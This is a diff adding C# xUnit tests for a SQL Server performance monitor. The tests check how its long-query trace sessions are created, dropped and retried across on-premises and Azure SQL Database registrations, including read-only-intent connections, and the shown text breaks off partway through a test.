+        rig.LegacyCalls.Clear();
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Empty(rig.LegacyCalls);
+        var warnings = Warnings(rig);
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(new[] { "beta" }, rig.LegacyCalls);
+        Assert.Equal(warnings, Warnings(rig));
+
+        /* The refusal ends: the next attempt records it, and the attempts end. */
+        rig.RefuseLegacy.Clear();
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+        Assert.True(rig.Records.Has(ServerId, "beta"));
+        Assert.Null(rig.State.LongQueryTraceDropRetry.NextAttemptUtc);
+    }
+
+    [Fact]
+    public async Task Legacy_OnPrem_AFailedDrop_IsNotRecorded_AndRetriesOnTheCap_WhileThePerInstallSessionIsStillCreated()
+    {
+        var rig = BuildOnPremRig();
+        rig.LegacySessions.Add(TheServer);
+        rig.RefuseLegacy.Add(TheServer);
+
+        for (var pass = 1; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync(enabled: true);
+        }
+
+        Assert.Equal(LongQueryTraceDatabases.DropAttemptCap, rig.LegacyCalls.Count);
+        Assert.Equal(LongQueryTraceDatabases.DropAttemptCap, rig.Created.Count());
+        Assert.Empty(rig.Records.Rows);
+        var giveUp = Assert.Single(rig.Logger.Entries, e => e.Message.Contains("Stopped retrying", StringComparison.Ordinal));
+        Assert.Contains("may remain on the server", giveUp.Message, StringComparison.Ordinal);
+
+        rig.RefuseLegacy.Clear();
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.True(rig.Records.Has(ServerId, TheServer));
+        Assert.Null(rig.State.LongQueryTraceDropRetry.NextAttemptUtc);
+    }
+
+    [Fact]
+    public async Task Azure_InEachDatabase_TheLegacyDropRunsBeforeThePerInstallCreate()
+    {
+        /* gamma is excluded: its legacy drop still runs, and its per-install drop follows it. */
+        var rig = BuildRig("gamma");
+        rig.LegacySessions.UnionWith(ThreeDatabases);
+
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Equal(
+            new[] { "legacy:alpha", "create:alpha", "legacy:beta", "create:beta", "legacy:gamma", "drop:gamma" },
+            rig.Events);
+        Assert.Equal(2, rig.ListCalls);
+    }
+
+    [Fact]
+    public async Task Azure_AFailedLegacyDrop_DoesNotStopThePerInstallCreateInThatDatabase()
+    {
+        var rig = BuildRig();
+        rig.RefuseLegacy.Add("beta");
+
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Equal(
+            new[] { "legacy:alpha", "create:alpha", "legacy:beta", "create:beta", "legacy:gamma", "create:gamma" },
+            rig.Events);
+        Assert.Contains("beta", rig.Sessions);
+        Assert.Null(rig.State.LongQueryTraceApplied);
+    }
+
+    [Fact]
+    public async Task Azure_TheTraceOff_DropsTheLegacySessionOnceInEachListedDatabase_WithOneListing()
+    {
+        var rig = BuildRig();
+        rig.LegacySessions.UnionWith(ThreeDatabases);
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(
+            new[] { "legacy:alpha", "legacy:beta", "legacy:gamma", "drop:alpha", "drop:beta", "drop:gamma" },
+            rig.Events);
+        Assert.Equal(1, rig.ListCalls);
+        Assert.Equal(ThreeDatabases.Length, rig.Records.Rows.Count);
+    }
+
+    [Fact]
+    public async Task Legacy_ARecordThatCannotBeRead_SkipsTheLegacyStep_NeverDropsTwice_AndTriesAgainOnTheNextPass()
+    {
+        /* A store that has the record, read by a restarted service while the store is not answering. */
+        var rig = BuildRig();
+        await rig.ReconcileAsync(enabled: true);
+        var restarted = Restart(rig);
+        restarted.LegacySessions.Add("alpha");
+        restarted.Records.ReadFailure = new InvalidOperationException("The store is not answering.");
+
+        await restarted.ReconcileAsync(enabled: true);
+
+        Assert.Empty(restarted.LegacyCalls);
+        Assert.Equal(ThreeDatabases, restarted.Created);
+        Assert.Null(restarted.State.LongQueryTraceApplied);
+        Assert.Contains(restarted.Logger.Entries, e => e.Level == LogLevel.Warning && e.Message.Contains("The store is not answering.", StringComparison.Ordinal));
+
+        restarted.Records.ReadFailure = null;
+        await restarted.ReconcileAsync(enabled: true);
+
+        Assert.Empty(restarted.LegacyCalls);
+        Assert.True(restarted.State.LongQueryTraceApplied);
+        Assert.Contains("alpha", restarted.LegacySessions);
+
+        /* A store with no record yet: the unreadable pass drops nothing, and the next one drops each session once. */
+        var fresh = BuildRig();
+        fresh.LegacySessions.UnionWith(ThreeDatabases);
+        fresh.Records.ReadFailure = new InvalidOperationException("The store is not answering.");
+        await fresh.ReconcileAsync(enabled: true);
+        Assert.Empty(fresh.LegacyCalls);
+        Assert.Equal(ThreeDatabases, fresh.Created);
+
+        fresh.Records.ReadFailure = null;
+        await fresh.ReconcileAsync(enabled: true);
+        Assert.Equal(ThreeDatabases, fresh.LegacyCalls);
+        Assert.Equal(ThreeDatabases.Length, fresh.Records.Rows.Count);
+    }
+
+    [Fact]
+    public async Task Legacy_OnPrem_ARecordThatCannotBeRead_DropsNothing_AndTheNextPassTriesAgain()
+    {
+        var rig = BuildOnPremRig();
+        rig.LegacySessions.Add(TheServer);
+        rig.Records.ReadFailure = new InvalidOperationException("The store is not answering.");
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Empty(rig.LegacyCalls);
+        Assert.Null(rig.State.LongQueryTraceApplied);
+
+        rig.Records.ReadFailure = null;
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(new[] { TheServer }, rig.LegacyCalls);
+        Assert.False(rig.State.LongQueryTraceApplied);
+    }
+
+    [Fact]
+    public async Task Legacy_AKeyKnownToBeRecorded_IsKeptInMemory_SoLaterPassesDoNotReadTheStoreAgain()
+    {
+        var rig = BuildRig();
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(1, rig.Records.Reads);
+
+        /* Turning the trace off and on again makes full passes, and the hourly pass is the create side alone. */
+        await rig.ReconcileAsync(enabled: false);
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(1, rig.Records.Reads);
+
+        /* A connect reads it again, once. */
+        rig.Reconnect();
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(2, rig.Records.Reads);
+    }
+
+    [Fact]
+    public async Task Legacy_AnOlderDarlingWithTheTraceOn_LosesItsSessionOncePerUpgradedInstall_ThenNeverAgain()
+    {
+        var first = BuildRig(new MonitoredServer { Name = "lqtrace", Host = Host }, ServerId, installId: "0a1b2c3d");
+        var second = BuildRig(new MonitoredServer { Name = "lqtrace", Host = Host }, ServerId, installId: "4e5f6a7b");
+
+        /* One older install's session, in one server, that both upgraded installs see. */
+        second.LegacySessions = first.LegacySessions;
+        first.LegacySessions.UnionWith(ThreeDatabases);
+
+        await first.ReconcileAsync(enabled: true);
+        Assert.Empty(first.LegacySessions);
+
+        /* The older install creates it again at its next connect, and the second upgraded install drops it once. */
+        first.LegacySessions.UnionWith(ThreeDatabases);
+        await second.ReconcileAsync(enabled: true);
+        Assert.Empty(second.LegacySessions);
+
+        /* The older install creates it once more. Neither upgraded install drops it again, at a connect or an hour later. */
+        first.LegacySessions.UnionWith(ThreeDatabases);
+        foreach (var rig in new[] { first, second })
+        {
+            rig.Reconnect();
+            await rig.ReconcileAsync(enabled: true);
+            rig.Clock += LongQueryTraceDatabases.RetryInterval;
+            await rig.ReconcileAsync(enabled: true);
+        }
+
+        Assert.Equal(ThreeDatabases, first.LegacyCalls);
+        Assert.Equal(ThreeDatabases, second.LegacyCalls);
+        Assert.Equal(ThreeDatabases.Length, first.LegacySessions.Count);
+
+        /* Each install made and kept only the session that carries its own id. */
+        Assert.All(first.Names, name => Assert.Equal(LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.DarlingProduct, "0a1b2c3d"), name));
+        Assert.All(second.Names, name => Assert.Equal(LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.DarlingProduct, "4e5f6a7b"), name));
+    }
+
+    [Fact]
+    public void TheEnsures_AskForTheLegacySessionInTheirOwnBatch_AndTheLegacyLogicLivesInItsOwnFile()
+    {
+        var xe = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingXeSessions.cs");
+
+        /* The on-premises batch, the Azure SQL Database batch and the check batch of a registration with read-only intent each
+           carry a second SELECT for the legacy name, so finding a session an older install created again costs no round trip
+           of its own. */
+        Assert.Equal(3, xe.Split("legacy_present = ", StringSplitOptions.None).Length - 1);
+        Assert.Contains("FROM sys.server_event_sessions AS ses", xe, StringComparison.Ordinal);
+        Assert.Contains("FROM sys.database_event_sessions AS des", xe, StringComparison.Ordinal);
+
+        /* DarlingXeSessions.cs never spells the legacy constant: the one-time drop and its record live in their own file. */
+        Assert.DoesNotContain("LegacyXeSessionName", xe, StringComparison.Ordinal);
+        var legacy = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingLegacyLongQuerySession.cs");
+        Assert.Contains("LongQueryCompletionsCollector.LegacyXeSessionName", legacy, StringComparison.Ordinal);
+        Assert.Contains("LegacyLongQuerySession.StateKey(database)", legacy, StringComparison.Ordinal);
+        Assert.Contains("LegacyLongQuerySession.StateCollector", legacy, StringComparison.Ordinal);
+
+        /* The store-backed record reads and writes through its own throwing statements, not the runner's swallowing helpers. */
+        Assert.DoesNotContain("GetCollectorStateAsync", legacy, StringComparison.Ordinal);
+        Assert.DoesNotContain("SaveCollectorStateAsync", legacy, StringComparison.Ordinal);
+    }
+
+    /* ── #4961: another registration of this install on the same instance keeps the session (L6, test 21) ── */
+
+    private const string InstanceName = "SQL01";
+
+    /// <summary>
+    /// Gives the test's registration the guard the sweep hands an on-premises reconcile: the worker's own builder, over a registry of this
+    /// install's other registrations, each one's effective trace setting, and the name each instance last reported. Every
+    /// resolution is counted. A null name is an instance that has reported none.
+    /// </summary>
+    private static void GiveInstanceGuard(Rig rig, string? ownName, params (int Id, bool TraceOn, string? Name, string Engine)[] others)
+    {
+        /* The registry holds this registration too, which the guard leaves out by its id. */
+        rig.Config.StoredServerId = ServerId;
+        var held = others.Where(o => o.Name is not null).ToDictionary(o => o.Id, o => o.Name!);
+        if (ownName is not null)
+        {
+            held[ServerId] = ownName;
+        }
+
+        var registry = others
+            .Select(o => new MonitoredServer { Name = "alias-" + o.Id, Host = "alias-" + o.Id, Engine = o.Engine, StoredServerId = o.Id })
+            .Append(rig.Config)
+            .ToList();
+        rig.InstanceGuard = () =>
+        {
+            rig.GuardResolutions++;
+            return DarlingWorker.LongQueryTraceInstanceGuardFor(
+                ServerId,
+                registry,
+                id => others.Single(o => o.Id == id).TraceOn,
+                (id, carrier) => Task.FromResult(
+                    carrier == ServerEpoch.IdentityCarrierCollectors[0] && held.TryGetValue(id, out var name)
+                        ? new Dictionary<string, string>
+                        {
+                            [ServerEpoch.IdentityStateKey] = ServerEpoch.Serialize(new ServerEpoch.Stamp(new DateTime(2026, 10, 2, 8, 0, 0, DateTimeKind.Utc), name)),
+                        }
+                        : new Dictionary<string, string>()));
+        };
+    }
+
+    private const int OtherId = 9001;
+
+    /// <summary>
+    /// Test 21: a registration whose trace is off does not drop the session another registration of the same instance
+    /// keeps. The match is positive: both registrations' last-known names are known and agree, ignoring case, and the other
+    /// registration has its trace on. Anything less drops, as before. Either way the reconcile is done, so the next sweep
+    /// opens no connection, and the one-time drop of the legacy session still runs.
+    /// </summary>
+    [Theory]
+    [InlineData("SQL01", "sql01", true, "sqlserver", false)]
+    [InlineData("SQL01", "SQL01", true, "sqlserver", false)]
+    [InlineData("SQL01", "SQL01", false, "sqlserver", true)]
+    [InlineData("SQL01", "SQL01", true, "postgres", true)]
+    [InlineData("SQL01", "SQL02", true, "sqlserver", true)]
+    [InlineData("SQL01", null, true, "sqlserver", true)]
+    [InlineData(null, "SQL01", true, "sqlserver", true)]
+    public async Task Off_OnPremises_LeavesTheSession_WhileAnotherRegistrationOfTheSameInstanceKeepsIt(
+        string? ownName, string? otherName, bool otherTraceOn, string otherEngine, bool expectDrop)
+    {
+        var rig = BuildOnPremRig();
+        rig.LegacySessions.Add(TheServer);
+        GiveInstanceGuard(rig, ownName, (OtherId, otherTraceOn, otherName, otherEngine));
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(expectDrop ? new[] { TheServer } : Array.Empty<string>(), rig.Dropped);
+        Assert.Equal(new[] { TheServer }, rig.LegacyCalls);
+        Assert.Empty(rig.LegacySessions);
+        Assert.False(rig.State.LongQueryTraceApplied);
+        Assert.Equal(1, rig.GuardResolutions);
+
+        /* Done either way: the next sweep runs nothing, and does not resolve the guard again. */
+        rig.Calls.Clear();
+        rig.LegacyCalls.Clear();
+        await rig.ReconcileAsync(enabled: false);
+        Assert.Empty(rig.Calls);
+        Assert.Empty(rig.LegacyCalls);
+        Assert.Equal(1, rig.GuardResolutions);
+    }
+
+    [Fact]
+    public async Task Off_OnPremises_ASkippedDrop_SaysSoAtInformation_AndTheLegacyDropRunsBeforeIt()
+    {
+        var rig = BuildOnPremRig();
+        rig.LegacySessions.Add(TheServer);
+        GiveInstanceGuard(rig, InstanceName, (OtherId, true, "sql01", "sqlserver"));
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(new[] { "legacy:" }, rig.Events);
+        Assert.Equal(1, Logged(rig, LogLevel.Information, $"[{rig.Config.DisplayName}] Long-query completion XE session left in place: another registration of this install keeps it on the same instance"));
+        Assert.Equal(0, Logged(rig, LogLevel.Information, "reconciled OFF"));
+        Assert.Equal(0, Warnings(rig));
+    }
+
+    /// <summary>A drop that goes ahead keeps its account, so the two cases read apart in the log.</summary>
+    [Fact]
+    public async Task Off_OnPremises_ADropThatGoesAhead_SaysItReconciledOff_AndNotThatItLeftTheSession()
+    {
+        var rig = BuildOnPremRig();
+        rig.LegacySessions.Add(TheServer);
+        GiveInstanceGuard(rig, InstanceName, (OtherId, true, "SQL02", "sqlserver"));
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(new[] { "legacy:", "drop:" }, rig.Events);
+        Assert.Equal(1, Logged(rig, LogLevel.Information, "reconciled OFF"));
+        Assert.Equal(0, Logged(rig, LogLevel.Information, "keeps it on the same instance"));
+    }
+
+    /// <summary>A failed legacy drop still fails the pass after a skipped per-install drop, and the next sweep tries again.</summary>
+    [Fact]
+    public async Task Off_OnPremises_ASkippedDrop_StillReportsAFailedLegacyDrop()
+    {
+        var rig = BuildOnPremRig();
+        rig.RefuseLegacy.Add(TheServer);
+        GiveInstanceGuard(rig, InstanceName, (OtherId, true, "SQL01", "sqlserver"));
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Empty(rig.Dropped);
+        Assert.Equal(new[] { TheServer }, rig.LegacyCalls);
+        Assert.NotEqual(false, rig.State.LongQueryTraceApplied);
+
+        rig.RefuseLegacy.Clear();
+        rig.LegacyCalls.Clear();
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(new[] { TheServer }, rig.LegacyCalls);
+        Assert.False(rig.State.LongQueryTraceApplied);
+    }
+
+    /// <summary>The guard reads the store, so a trace that is on never resolves it: not on the create, and not on the hourly pass.</summary>
+    [Fact]
+    public async Task On_OnPremises_NeverResolvesTheInstanceGuard()
+    {
+        var rig = BuildOnPremRig();
+        GiveInstanceGuard(rig, InstanceName, (OtherId, true, "SQL01", "sqlserver"));
+
+        await rig.ReconcileAsync(enabled: true);
+        rig.Clock = rig.Clock.AddHours(1);
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Equal(0, rig.GuardResolutions);
+        Assert.Equal(2, rig.Created.Count());
+    }
+
+    /// <summary>An Azure SQL Database server keeps one session per database, so its drop never asks the instance guard.</summary>
+    [Fact]
+    public async Task Off_Azure_NeverResolvesTheInstanceGuard()
+    {
+        var rig = BuildRig();
+        GiveInstanceGuard(rig, InstanceName, (OtherId, true, "SQL01", "sqlserver"));
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(0, rig.GuardResolutions);
+        Assert.NotEmpty(rig.Dropped);
+    }
+
+    /// <summary>
+    /// The sweep builds the guard only for a SQL Server target that is not an Azure SQL Database, and builds it lazily: the
+    /// instance's reconcile hands the static one a function, so a server whose trace is off and already reconciled reads
+    /// no state. The function resolves the live registry and each registration's own schedule when it is called. Pinned in
+    /// the source: the sweep needs a live registry and store.
+    /// </summary>
+    [Fact]
+    public void TheSweep_HandsTheReconcileALazyInstanceGuard_OnlyForAnOnPremisesTarget()
+    {
+        var worker = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        var sweep = worker.IndexOf("private async Task ReconcileLongQueryTraceAsync(ServerLoopState server, DarlingCollectorRunner runner, CancellationToken cancellationToken)", StringComparison.Ordinal);
+        var call = worker.IndexOf("await ReconcileLongQueryTraceAsync(server, runner, enabled, registrations, serverSeparatelyMonitored, DateTime.UtcNow, _logger,", sweep, StringComparison.Ordinal);
+        Assert.True(sweep > 0 && call > sweep, "the sweep's reconcile call is pinned");
+
+        var body = worker[sweep..call];
+        Assert.Contains("Func<Task<LongQueryTraceInstanceGuard>>? instanceGuard = null;", body, StringComparison.Ordinal);
+        Assert.Contains("if (!server.Runtime.Target.IsAzureSqlDb)", body, StringComparison.Ordinal);
+        Assert.Contains("instanceGuard = () => LongQueryTraceInstanceGuardFor(", body, StringComparison.Ordinal);
+
+        /* What the function reads, each time it is called: the live registry, each registration's own schedule, and the store. */
+        var function = body[body.IndexOf("instanceGuard = () => LongQueryTraceInstanceGuardFor(", StringComparison.Ordinal)..];
+        Assert.Contains("_registryState.Read()?.Servers,", function, StringComparison.Ordinal);
+        Assert.Contains("otherId => StoreConfigProvider.ResolveSchedule(\"long_query_completions\", otherId, _scheduleOverrides).Enabled,", function, StringComparison.Ordinal);
+        Assert.Contains("(id, carrier) => runner.GetCollectorStateAsync(id, carrier, cancellationToken)", function, StringComparison.Ordinal);
+
+        var end = worker.IndexOf(");", call, StringComparison.Ordinal);
+        Assert.EndsWith(", cancellationToken, instanceGuard", worker[call..end], StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/LongQueryTraceReadOnlyIntentTests.cs b/Darling/Darling.Tests/LongQueryTraceReadOnlyIntentTests.cs
new file mode 100644
index 0000000000..9ea6c99cc8
--- /dev/null
+++ b/Darling/Darling.Tests/LongQueryTraceReadOnlyIntentTests.cs
@@ -0,0 +1,622 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Which connection each step of the long-query trace's create opens, for a registration with read-only intent and for one
+/// without (#4961). A session cannot be created on a read-only replica, and the definition replicates from the primary, so
+/// on Azure SQL Database a read-only-intent registration creates the definition over a connection without the intent and
+/// starts the session over its own. Each test drives the worker's real reconcile with the step's open and work replaced on
+/// the runner, which hands over the connection string the step would have opened.
+/// </summary>
+public sealed class LongQueryTraceReadOnlyIntentTests : IAsyncDisposable
+{
+    private const string Host = "example.database.windows.net";
+    private const string InstallIdValue = "0a1b2c3d";
+
+    /* Never opened: the runner reaches the store only to write collected rows, and these tests collect nothing. */
+    private readonly NpgsqlDataSource _store = NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Database=unused;Username=unused");
+
+    public ValueTask DisposeAsync() => _store.DisposeAsync();
+
+    private sealed class Rig
+    {
+        public required DarlingCollectorRunner Runner { get; init; }
+        public required DarlingWorker.ServerLoopState State { get; init; }
+        public DarlingSelfAlertTests.CapturingLogger Logger { get; } = new();
+        public List<string> Listed { get; set; } = new();
+
+        /* Every step the create took: which one, the database ("" on a server-scoped engine) and the string it opened. */
+        public List<(LongQueryTraceStep Step, string Database, string ConnectionString)> Steps { get; } = new();
+
+        /* Every step a drop took, the one-time drop of the legacy session included: the session's name rides along. */
+        public List<(LongQueryTraceStep Step, string Database, string ConnectionString, string SessionName)> DropSteps { get; } = new();
+
+        /* What the step says when it runs: null to succeed. */
+        public Func<LongQueryTraceStep, Exception?> Refusal { get; set; } = _ => null;
+
+        /* What the check finds on the replica: by default a database that has never had the session. */
+        public LongQueryTraceReplicaState Replica { get; set; }
+
+        public DateTime Clock { get; set; } = new(2026, 10, 2, 12, 0, 0, DateTimeKind.Utc);
+
+        public Task ReconcileAsync(bool enabled = true, IReadOnlyList<LongQueryTraceRegistration>? registrations = null) =>
+            DarlingWorker.ReconcileLongQueryTraceAsync(
+                State, Runner, enabled, registrations ?? Array.Empty<LongQueryTraceRegistration>(), Array.Empty<string>(), Clock, Logger, CancellationToken.None);
+
+        /// <summary>The drop steps of this install's own session: what a drop of the long-query trace does, apart from the legacy session's.</summary>
+        public List<(LongQueryTraceStep Step, string Database, string ConnectionString)> OwnDrops() =>
+            DropSteps.Where(s => s.SessionName != LongQueryCompletionsCollector.LegacyXeSessionName)
+                .Select(s => (s.Step, s.Database, s.ConnectionString)).ToList();
+
+        /// <summary>The drop steps of the legacy session older versions shared between installs.</summary>
+        public List<(LongQueryTraceStep Step, string Database, string ConnectionString)> LegacyDrops() =>
+            DropSteps.Where(s => s.SessionName == LongQueryCompletionsCollector.LegacyXeSessionName)
+                .Select(s => (s.Step, s.Database, s.ConnectionString)).ToList();
+
+        /// <summary>
+        /// Every line logged at Warning or above, whatever it says: what an operator reads. Nothing narrows it by a word, so a
+        /// Warning a test does not expect, such as a failed stop or a failed drop of the legacy session, is among them.
+        /// </summary>
+        public List<string> Loud() => Logger.Entries
+            .Where(e => e.Level >= LogLevel.Warning)
+            .Select(e => e.Message)
+            .ToList();
+
+        /// <summary>
+        /// The one line a create that a read-only database refused logs at Warning: the registration, the database and the
+        /// message the long-query trace words for it.
+        /// </summary>
+        public string ReadOnlyLine(string database) =>
+            $"[{State.Config.DisplayName}] [{database}] {LongQueryTraceDatabases.ReadOnlyDatabaseMessage()}";
+    }
+
+    private Rig BuildRig(string database, bool readOnlyIntent, bool azureSqlDatabase = true)
+    {
+        var config = new MonitoredServer { Name = "intent-test", Host = Host, Database = database, ReadOnlyIntent = readOnlyIntent };
+
+        /* The string the runtime holds is what carries the intent: the worker builds it from the registration. */
+        var runtime = new ServerRuntime
+        {
+            Config = config,
+            ConnectionString = $"Server=tcp:{Host},1433;Initial Catalog={database};Encrypt=True;ApplicationIntent={(readOnlyIntent ? "ReadOnly" : "ReadWrite")}",
+            Target = new CollectorTargetInfo { IsAzureSqlDb = azureSqlDatabase },
+            StorageName = Host,
+            ServerId = 4961,
+        };
+
+        var runner = new DarlingCollectorRunner(
+            _store,
+            new CollectorDeltaCalculator(),
+            databaseScope: (_, _) => new List<string>(),
+            separatelyMonitoredDatabases: _ => new List<string>(),
+            installId: () => InstallIdValue);
+
+        var rig = new Rig
+        {
+            Runner = runner,
+            State = new DarlingWorker.ServerLoopState { Config = config, Runtime = runtime },
+        };
+        rig.Listed = new List<string> { database };
+
+        runner.LongQueryTraceListOverrideForTests = (_, _, _, _) => Task.FromResult(rig.Listed.ToList());
+        /* The one-time drop of the legacy session has nothing to find, and keeps its record in memory. */
+        runner.LegacyLongQueryRecordsForTests = new LongQueryTraceLifecycleTests.InMemoryLegacyRecords();
+        runner.LegacyLongQueryPresentForTests = (_, _, _) => Task.FromResult(false);
+        runner.LongQueryTraceReplicaStateForTests = (_, _) => rig.Replica;
+        runner.LongQueryTraceStepOverrideForTests = (_, databaseName, connectionString, step, sessionName, _) =>
+        {
+            if (step is LongQueryTraceStep.Stop or LongQueryTraceStep.Drop)
+            {
+                rig.DropSteps.Add((step, databaseName, connectionString, sessionName));
+            }
+            else
+            {
+                rig.Steps.Add((step, databaseName, connectionString));
+            }
+
+            return rig.Refusal(step) is { } refusal ? Task.FromException(refusal) : Task.CompletedTask;
+        };
+
+        return rig;
+    }
+
+    private static ApplicationIntent IntentOf(string connectionString) =>
+        new SqlConnectionStringBuilder(connectionString).ApplicationIntent;
+
+    private static string DatabaseOf(string connectionString) =>
+        new SqlConnectionStringBuilder(connectionString).InitialCatalog;
+
+    /* ── Azure SQL Database ── */
+
+    [Fact]
+    public async Task Azure_AReadOnlyIntentRegistration_CreatesTheDefinitionOverAReadWriteConnection_ThenStartsOverItsOwnReadOnlyOne()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: true);
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(
+            new[] { LongQueryTraceStep.Check, LongQueryTraceStep.CreateDefinition, LongQueryTraceStep.Start },
+            rig.Steps.Select(s => s.Step));
+        Assert.Equal(
+            new[] { ApplicationIntent.ReadOnly, ApplicationIntent.ReadWrite, ApplicationIntent.ReadOnly },
+            rig.Steps.Select(s => IntentOf(s.ConnectionString)));
+        Assert.All(rig.Steps, s => Assert.Equal("beta", DatabaseOf(s.ConnectionString)));
+        Assert.All(rig.Steps, s => Assert.Equal("beta", s.Database));
+        Assert.Empty(rig.Loud());
+    }
+
+    [Fact]
+    public async Task Azure_ARegistrationWithoutReadOnlyIntent_CreatesAndStartsOverItsOwnConnection()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: false);
+
+        await rig.ReconcileAsync();
+
+        var step = Assert.Single(rig.Steps);
+        Assert.Equal(LongQueryTraceStep.CreateAndStart, step.Step);
+        Assert.Equal(ApplicationIntent.ReadWrite, IntentOf(step.ConnectionString));
+        Assert.Equal("beta", DatabaseOf(step.ConnectionString));
+    }
+
+    /* ── Azure SQL Database: a cycle that needs nothing opens nothing on the primary ── */
+
+    [Fact]
+    public async Task Azure_AReadOnlyIntentCycleWhereTheDefinitionExistsAndTheSessionRuns_OpensOnlyTheRegistrationsOwnConnection()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: true);
+        rig.Replica = new LongQueryTraceReplicaState(DefinitionExists: true, Running: true);
+
+        await rig.ReconcileAsync();
+
+        var step = Assert.Single(rig.Steps);
+        Assert.Equal(LongQueryTraceStep.Check, step.Step);
+        Assert.Equal(ApplicationIntent.ReadOnly, IntentOf(step.ConnectionString));
+        Assert.Equal("beta", DatabaseOf(step.ConnectionString));
+    }
+
+    [Fact]
+    public async Task Azure_AReadOnlyIntentCycleWhereTheSessionIsStopped_StartsItOverItsOwnConnectionAndOpensNothingElse()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: true);
+        rig.Replica = new LongQueryTraceReplicaState(DefinitionExists: true, Running: false);
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { LongQueryTraceStep.Check, LongQueryTraceStep.Start }, rig.Steps.Select(s => s.Step));
+        Assert.All(rig.Steps, s => Assert.Equal(ApplicationIntent.ReadOnly, IntentOf(s.ConnectionString)));
+    }
+
+    [Fact]
+    public async Task Azure_AStartThatFailsRightAfterTheDefinitionWasCreated_IsRetriedOnALaterPassWithoutAWarning()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: true);
+        rig.Refusal = step => step == LongQueryTraceStep.Start
+            ? SqlExceptionFactory.Create(15151, 16, "Cannot alter the event session, because it does not exist or you do not have permission.")
+            : null;
+
+        await rig.ReconcileAsync();
+
+        /* The replica had not caught up yet: no fault, and nothing at Warning or above. */
+        Assert.Null(rig.State.LongQueryTraceFault);
+        Assert.DoesNotContain(rig.Logger.Entries, e => e.Level >= LogLevel.Warning);
+        Assert.Equal(
+            new[] { LongQueryTraceStep.Check, LongQueryTraceStep.CreateDefinition, LongQueryTraceStep.Start },
+            rig.Steps.Select(s => s.Step));
+
+        /* The replica shows the definition by the next pass of the create side: that pass starts the session. */
+        rig.Refusal = _ => null;
+        rig.Replica = new LongQueryTraceReplicaState(DefinitionExists: true, Running: false);
+        rig.Steps.Clear();
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { LongQueryTraceStep.Check, LongQueryTraceStep.Start }, rig.Steps.Select(s => s.Step));
+        Assert.Null(rig.State.LongQueryTraceFault);
+        Assert.DoesNotContain(rig.Logger.Entries, e => e.Level >= LogLevel.Warning);
+    }
+
+    [Fact]
+    public async Task Azure_AStartThatFailsRightAfterTheDefinitionWasCreated_LeavesTheLatchUnsetSoTheNextSweepRetries()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: true);
+        rig.Refusal = step => step == LongQueryTraceStep.Start
+            ? SqlExceptionFactory.Create(15151, 16, "Cannot alter the event session, because it does not exist or you do not have permission.")
+            : null;
+
+        await rig.ReconcileAsync();
+
+        /* Not applied: a latch would hold the retry back until the hourly create pass. */
+        Assert.Null(rig.State.LongQueryTraceApplied);
+        Assert.Null(rig.State.LongQueryTraceFault);
+
+        /* The next sweep, with the clock where it was, checks again and starts the session, and only then is it applied. */
+        rig.Refusal = _ => null;
+        rig.Replica = new LongQueryTraceReplicaState(DefinitionExists: true, Running: false);
+        rig.Steps.Clear();
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { LongQueryTraceStep.Check, LongQueryTraceStep.Start }, rig.Steps.Select(s => s.Step));
+        Assert.True(rig.State.LongQueryTraceApplied);
+    }
+
+    [Fact]
+    public async Task Azure_AStartThatFailsWhenTheDefinitionWasAlreadyVisible_IsAFailureLikeAnyOther()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: true);
